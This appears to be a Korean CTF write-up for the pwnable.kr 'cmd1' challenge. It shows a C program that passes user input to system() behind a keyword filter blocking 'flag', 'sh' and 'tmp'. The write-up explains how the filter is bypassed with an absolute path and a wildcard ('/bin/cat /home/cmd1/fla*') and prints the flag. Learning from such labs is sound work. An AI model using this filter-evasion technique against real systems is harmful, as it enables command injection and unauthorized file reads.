#include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } int main(int argc, char* argv[], char** envp){ putenv("PATH=/thankyouverymuch"); if(filter(argv[1])) return 0; system( argv[1] ); return 0; }
풀이
putenv("PATH=/thankyouverymuch");
PATH라는 실행 파일 탐색 경로인 환경변수에 있는 값을 /thankyouverymuch로 변경한다.
따라서 프로그램을 실행시킬때 절대 경로로 프로그램을 실행시켜야 될 것이다.
int filter(char* cmd){ int r=0; r += strstr(cmd, "flag")!=0; r += strstr(cmd, "sh")!=0; r += strstr(cmd, "tmp")!=0; return r; } ... if(filter(argv[1])) return 0;
filter 함수에 argv[1]이 flag, sh, tmp 이 셋중에 하나라도 키워드가 들어갈 시 0을 바로 반환시켜 프로그램을 종료해버린다.
system( argv[1] );
filter 함수를 무사히 통과하면, system 함수를 통해 명령어를 실행시킬 수 있게 된다.
cmd1@pwnable:~$ ./cmd1 "/bin/cat /home/cmd1/fla*" mommy now I get what PATH environment is for :)